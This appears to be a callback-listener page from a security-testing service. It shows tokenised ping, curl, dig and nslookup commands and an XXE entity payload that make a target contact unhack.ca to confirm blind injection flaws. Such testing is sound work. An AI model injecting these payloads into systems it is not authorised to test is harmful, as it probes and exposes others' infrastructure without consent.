$ ping -c1 -p 00ce1f17c9f32be8973228ef1ffd8c00 unhack.ca
 
$ curl http://unhack.ca/p/ce1f17c9f32be8973228ef1ffd8c
 
$ dig ce1f17c9f32be8973228ef1ffd8c @unhack.ca
 
$ dig ce1f17c9f32be8973228ef1ffd8c.ns.unhack.ca
 
C:\> nslookup ce1f17c9f32be8973228ef1ffd8c unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/ce1f17c9f32be8973228ef1ffd8c">]>
    <foo>&xxe;</foo>
Waiting for ping...